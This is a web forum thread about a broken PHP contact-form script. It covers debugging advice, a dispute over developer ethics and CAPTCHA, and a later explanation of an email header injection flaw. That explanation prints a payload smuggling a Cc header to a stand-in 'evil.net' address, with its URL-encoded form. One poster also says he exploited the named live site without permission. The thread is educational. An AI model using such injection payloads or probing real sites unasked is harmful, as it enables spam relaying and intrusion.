Got a tip for us?
Let us know
Become a MacRumors Supporter for $50/year with no ads, ability to filter front page stories, and private forums.
Desperate Help Needed on php
- Thread starter ukjabber
- Start date
- Sort by reaction score
Please use the PHP code blocks (the icon with 'php' on it) when posting PHP code so that it can be formatted more nicely and helps us read it.
This is certainly an issue,
No spaces allowed in variable names.
Also, clarify what does happen when running the script, such as what does appear on the screen, any error messages, etc.
Make sure (for local testing) that you turn error displaying and error logging on so you can see any errors coming up as they would tell you about the above syntax error.
[Must be placed at top of PHP file]
This is certainly an issue,
PHP:
$party numbers = $_POST['party numbers'];Also, clarify what does happen when running the script, such as what does appear on the screen, any error messages, etc.
Make sure (for local testing) that you turn error displaying and error logging on so you can see any errors coming up as they would tell you about the above syntax error.
[Must be placed at top of PHP file]
PHP:
ini_set('display_errors', 1);
ini_set('log_errors', 1);
ini_set('error_log', '../php_error.log.');
error_reporting(E_ALL);Hi, sorry for not putting it in right 
I've changed the party numbers now so no space.
Basically it opens up a new page and goes blank. Nothing happens at all. Not sure what I am missing here. I've checked that all the paths are correct and they are going to the right place.
What am I doing wrong? Do I need to put some direction code somewhere else apart from in the main source code?
I've changed the party numbers now so no space.
Basically it opens up a new page and goes blank. Nothing happens at all. Not sure what I am missing here. I've checked that all the paths are correct and they are going to the right place.
What am I doing wrong? Do I need to put some direction code somewhere else apart from in the main source code?
This is probably the problem -- it shouldn't go on every page, just the page that your form "action" is pointing to.
Your first line is just simple stopping the script from going any further if there are no _POST variables sent, which won't be unless the form has been submitted by the visitor.
Also, you should know that your script has security issues: please read up on handling user input safely. At the VERY least, you should change the lines that take the $_POST['field_name'] and set the variable and run "strip_tags", e.g,
PHP:
$name = strip_tags($_POST['name']);Good luck!
A debug trick, near the top of your PHP,
This will show you the contents of the $_POST variable so you can see if things are getting passed correctly. You can use echo lines in various parts of the coe to output variables or debug messages.
PHP:
print_r($_POST);
Look at your code, first line:
PHP:
if(!$_POST) exit;When a user submits a form with method POST, in PHP the name/value pairs are automatically populated into a special associative array $_POST. That line checks to see if that array variable does not exist and if so simply exit. This means stop all scripting. White screen since no other output is being sent. The other replies here will help you debug the issue properly, I just wanted to clarify the code does what it is told!
Of course another reason for the blank screen is a fatal error in the PHP code so fix all syntax errors also.
-jim
People like you are the problem with software development these days. You push down the margins and make non-technical business owners think that software should be cheap, but you deliver a really lousy product that may appear to work on the outside but is internally unmaintainable and laden with security holes. And yet the business owner doesn't know the difference -- until down the road when something goes wrong.
Now, by posting the source code, I can see exactly what site you're working on (http://maritimegolfinvitational.com/contact.html). Your site is vulnerable to a spam attack because you don't have a real CAPTCHA.
Luckily its a golf website and not something that people will put identity information in or entrust their lives to.
In the future, I beg you, please just be honest with your clients. If you're not a programmer, just let them know that they need to hire a programmer to finish a few parts of the website, and let you focus on what you know how to do best.
Now, by posting the source code, I can see exactly what site you're working on (http://maritimegolfinvitational.com/contact.html). Your site is vulnerable to a spam attack because you don't have a real CAPTCHA.
Luckily its a golf website and not something that people will put identity information in or entrust their lives to.
In the future, I beg you, please just be honest with your clients. If you're not a programmer, just let them know that they need to hire a programmer to finish a few parts of the website, and let you focus on what you know how to do best.
That's not a fair assessment. CAPTCHA is very annoying to many people and lessens the usability of the page. There are spam blocking techniques that are done solely on the server side. Though, I do agree that this code does fail to do adequate validation to block spambots.
I have a similar technique on my contact form where the user is asked to answer a simple math problem. It catches most spambots except on the occasion when I had one question where it only used numbers (as opposed to the word form of the numbers), but I've changed that one out. Even without the challenge questions though, I have 5 other checks that routinely block spam. I've only kept the challenge question for research purposes as I don't need it to block spam attempts.
Savar makes good points in general, but also was a little harsh in my opinion as to this specific user. The OP noted from the outset they admitted to buying the software which tells me they either had budget or time constraints or whatever. They also mentioned they needed help from "gurus" here conceding their skill level. But I give them credit for admitting both here on the forum, demonstrating honesty and integrity with us. They could have just posted the code alone. It is NOT our place to judge honesty with the client without knowing the facts. Period.
With that said, a little note about CAPTCHA. In my opinion it's use is best for large forums or sites that generate lots of content from the public. For small sites the better alternative is to enable a simple moderation queue where submitted content is approved/rejected, or some of the alternatives anglewatt noted. The real issue is the client needs to allocate time and people to manage the queue, just like any other form of social networking where human beings MUST be involved and regularly for the feature to work successfully. CAPTCHA, etc., is very useful in such a situation when those kinds of resources simply aren't there.
-jim
With that said, a little note about CAPTCHA. In my opinion it's use is best for large forums or sites that generate lots of content from the public. For small sites the better alternative is to enable a simple moderation queue where submitted content is approved/rejected, or some of the alternatives anglewatt noted. The real issue is the client needs to allocate time and people to manage the queue, just like any other form of social networking where human beings MUST be involved and regularly for the feature to work successfully. CAPTCHA, etc., is very useful in such a situation when those kinds of resources simply aren't there.
-jim
For user-generated content, perhaps. Contact forms are a different case, because a poorly designed "formmail" script can be used to spam third parties -- and the site owner won't even know. Even putting aside the risk of the web host cutting off the account, or the site's IP address getting blacklisted (and in many hosting situations all of the domain's outgoing email), that's just poor internet citizenship.
I only pointed it out because he has a hardcoded "captcha" on his page already which asks for the same solution on each page load. This is trivial to crack if anybody looks at his page and reloads it a few times. (Or looks at the source code he has posted here.) In fact, its so trivial it doesn't even count as a "crack". It's just.... duh.
That kind of approach only works until somebody cares enough to try to crack it. For example, PHPBB2 has a graphical CAPTCHA that has been ravaged by hackers. And so, if you run a PHPBB2 site, you will find spam messages in the first few days of operation. The CAPTCHA was effective when it was originally created, but eventually a cracker found it was worth his time to write the graphical algorithms required to crack it.
Any decently smart hacker can write a script that solves a math problem, even if words are used instead of operators (such as "divided by" instead of "/"). Like any security, you have to evaluate how much effort is justified by the value of the subject which you are trying to protect. I like to err on the side of caution, but ultimately each client (*not* developer) knows his own risk tolerance and cost/benefit needs.
There are some good server-side methods which you allude to, like Moodle. I think that's pretty cool too. But you have to be aware of it, care enough to use it, and know how to use it. The OP has none of those traits.
Agree to disagree. I always respect your opinions on this site, but I think the only acceptable action here is to tell the client, "I don't know how to deliver what you're asking for, and it would be unethical for me to accept money to do so. I can try to find somebody else to do it, however, and subcontract to that person if you wish."
I built a bridge out of balsa wood in 9th grade for a physics project. I've also built compression bridges out pennies at my desk when my brain is fried and needs to be diverted. Does this mean that I would accept money to build a pedestrian bridge over a body of water?
Hell no. It would be unethical for me to accept money to build something that I ultimately don't know how to safely engineer. Especially when 3rd parties could be harmed.
Learning to program on your own time is commendable, but learning to program on the job is not acceptable. There is far too much bad software out there, and far too many awful developers. I think the status quo stinks, and I'm willing to say something about it. No other professional industry tolerates as much outright lying about skills and experience.
Exactly. This particular script hard codes the receiving address, but I already spotted a request injection flaw that would allow you to use it as a blind relay.
But really who even cares -- this isn't the issue. The problem is that this guy will get paid to be a "developer" and he will start working on more and more stuff without anybody ever realizing what a hazard it is. Imagine next year when this golf site starts collecting online payments along with the reservation. Do you really trust this guy to handle your credit card number and home address??
I just confirmed that this exploit works. This website is acting as a blind relay for anybody who comes here and understands the code that was posted.
I was able to send an email to myself using this method, and it took about 30 seconds using Firefox and Tamper Data.
I have very mixed feelings about this. I agree that there are way too many people out there who think they're developers because they can get a script to kinda-sorta do what they wanted it to. But that doesn't mean it's not possible to become skilled at something you "learn by doing".
Yes, you have to be aware of what you don't know, and make a point of reading and researching the possible pitfalls of various approaches -- educating yourself. And yes, that awareness is rare. But it doesn't mean that it can't be done. Everyone has to start somewhere, and even most programmers I've encountered with CS degrees don't know the first thing about web scripting security or maintainability right out of school -- it's something that gets learned on the job.
To the OP: I strongly suggest that before you attempt to write or modify any more PHP scripts, you:
a) learn a bit about programming, debugging, and ideally database design and normalization -- whether that means taking a community college course or two, or checking a couple books out of the library. No, a couple of tutorials online do not count. Reading other people's code can also be enlightening, but given the average quality of PHP code out there, it can be difficult to sort out what counts as good code and what's terrible.
and b) educate yourself about web scripting security issues, particularly cross-site scripting / request forgery, email header injection, and (if you have any intention of working with databases) SQL injection and password hashing and salting. The web developer's mantra should be that if the user can touch it, you can't trust it; and every user is potentially malicious.
If you got hired into a Jr. position at dev shop and they recognized that you had no experience before they hired you and were willing to train and mentor you with close supervision -- that would be fine.
But this guy obviously accepted a contract to do work which he is not qualified to do.
If you think that's okay, then let me replace the timing belt on your car! I've never done it before, but I found a website that has pictures and instructions and everything. And if have a hard time with it, I belong to a car repair forum where I can ask actual experts what I am doing wrong.
savar, I agree that the OP is in over his head, but maybe he's aware of that by now and will learn something from this experience -- perhaps go learn the trade and practice writing some scripts not-for-public-consumption, or work on an open source project where someone will teach him some best practices, before he attempts his first shopping cart. Training and mentorship don't have to be in a formal setting to be useful.
I'd argue that most of us who work freelance occasionally take contracts where we have to stretch ourselves a bit to accomplish what's needed. If not, we'd never learn new skills. It's just a matter of knowing the difference between a challenge / learning experience and something you're not qualified to learn on your own. And a matter of knowing how to educate yourself so that even though you're doing something new, you can be sure of doing a reasonably good job.
I might not trust you to fix my timing belt, but I might trust you to change a tire. And maybe after spending a few weeks or months reading everything I could find about car engines and watching some mechanics in the local shop I might give the timing belt a shot. How does a car enthusiast learn enough to repair that rusted out '67 Chevy he picked up out of someone's garage?
I'd argue that most of us who work freelance occasionally take contracts where we have to stretch ourselves a bit to accomplish what's needed. If not, we'd never learn new skills. It's just a matter of knowing the difference between a challenge / learning experience and something you're not qualified to learn on your own. And a matter of knowing how to educate yourself so that even though you're doing something new, you can be sure of doing a reasonably good job.
I might not trust you to fix my timing belt, but I might trust you to change a tire. And maybe after spending a few weeks or months reading everything I could find about car engines and watching some mechanics in the local shop I might give the timing belt a shot. How does a car enthusiast learn enough to repair that rusted out '67 Chevy he picked up out of someone's garage?
Yea, the hard coded single question part makes it the same as the sites that have a check box for the person to check to say they aren't a spambot. Surprisingly, these work somewhat efficiently against the simpler spambots. You're right that the challenge question would be easy to write a script for if the hacker visited the site and checked things out, but it's rare for a hacker to visit a site and create a site-specific hack unless it's a popular site. Most of the spambots are completely autonomous so the hacker them self never visits the page. No single security technique catches all, which is why layered security is the best route.
Reading back over the original post, I was saddened to see that the horrible code we're gawking at was actually paid for by the OP. I really hope he didn't pay much. It makes me feel like creating a script for people to buy, and it would actually have some level of security.
savar said:
I always consider doing that to people's sites when I see a big flaw, but never go through with it. Hopefully as part of your message you let him know how vulnerable he is and that he needs to fix it right away.
Agree to disagree. I always respect your opinions on this site, but I think the only acceptable action here is to tell the client, "I don't know how to deliver what you're asking for, and it would be unethical for me to accept money to do so. I can try to find somebody else to do it, however, and subcontract to that person if you wish."Originally Posted by SrWebDeveloper![]()
Savar makes good points in general, but also was a little harsh in my opinion as to this specific user. The OP noted from the outset they admitted to buying the software which tells me they either had budget or time constraints or whatever. They also mentioned they needed help from "gurus" here conceding their skill level. But I give them credit for admitting both here on the forum, demonstrating honesty and integrity with us. They could have just posted the code alone. It is NOT our place to judge honesty with the client without knowing the facts. Period.
I agree completely with that! What I was saying is it's not our place to judge the relationship between the OP and their client without knowing some more facts. Meaning, hold off on such specific advice for the OP. As to general advice for most clients, of course, and well said.
-jim
I didn't get to see OP's original post with the source (I wish I had) but it sounds like he should take a look at http://articles.sitepoint.com/article/php-security-blunders.
I partly agree, but seeing as the code exposed a serious security issue on his site, it's understandable. Hopefully he fixes it soon so it won't be an issue, but I don't blame him for removing the code.
That's a rare thing, the correct procedure is to contact the moderator and ask them to edit it out. They respond quickly here in my experience. Otherwise, 99% of the time we don't want people changing stuff as it throws off all the replies that followed and makes a topic confusing to follow as we all don't quote everything all the time. I'm on a couple of other support forums and very few of them allow editing after a post that I can recall, so I don't consider it common.
On a side note, most of the forums I'm on allows editing within 5 minutes or after submit, i.e. you've got a chance to fix blunders for few minutes.
Don't mean to turn this into a long discussion, I've said my thing and leave it up to the moderators to do as they wish. Just some informal feedback.
-jim
Now that a few days have passed, I'll explain the exploit for those who are interested. This is from memory, so this may not be 100% accurate.
It wasn't SQL injection or XSS injection, but it was very similar. He had an email function similar to this:
PHP:
$to = 'myEmail@myHost.com';
$subject = 'Registered';
mail($to, $subject, "From: {$_POST['registered_email']}\r\n");You can see he has an untrusted user variable in the "From:" header. The intention is to allow the receiver of the registration email to contact the person who submitted it on the website by clicking the "reply" button. But this is where the vulnerability lies.
In SMTP, headers are separated from each other by a newline sequence, and the headers are separate from the body by a blank line (two consecutive newline sequences). I could see from his code that he is running on Windows because of the '\r\n' newline sequence. So you can inject your own header field by carefully crafting $_POST['registered_email'] to include a newline sequence somewhere in the middle, like this:
PHP:
$_POST['registered_email'] = "dummyaddress@aol.com\r\nCc:hacker@evil.net";You can't set POST variables directly, of course, you have to POST them to the server. And you can't include backslashes, so those need to be URL encoded. The easiest way to do this is with the Firefox extension Tamper Data, and a URL encoder.
After encoding, the injected string looks like this:
Code:
dummyaddress%40aol.com%5Cr%5CnCc%3Ahacker%40evil.netUse tamper data to submit this value, and PHP will generate an email like this:
Code:
To: myEmail@myHost.com
Subject: Registered
From: dummyaddress@aol.com
Cc: hacker@evil.netSo the SMTP server will send a carbon copy to hacker@evil.net. I think somebody more familiar with SMTP than me could probably do way more harm. For example, I think you could inject a new "To:" header and override the previous, which would make for a really effective blind e-mail relay.
If this was exploited on your own server, your ISP would probably pull down your account without any warning, and your IP addresses might get blacklisted from respected e-mail servers.
Thanks for the explanation. That's very interesting. Seeing that I'm building my blog software from hand as well, I'm looking into PHP security and learning about exploits like this one are very helpful in understanding how to mitigate injections such as this.
Is there a good site about PHP security with examples such as yours? Kind of a "how to" on PHP hacking and how web developers can remove security flaws?
Here's some resources I have at hand:
- http://phpsec.org/
- http://phpsecurity.org/
- http://www.serversidemagazine.com/php/php-security-measures-against-csrf-attacks
- Book: Essential PHP Security (2005, Chris Shiflett)
- Book: php|architect's Guide to PHP Security (2005, Ilia Alshanetsky and Rasmus Lerdorf)
- Book: The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws (2007, Dafydd Stuttard and Marcus Pinto)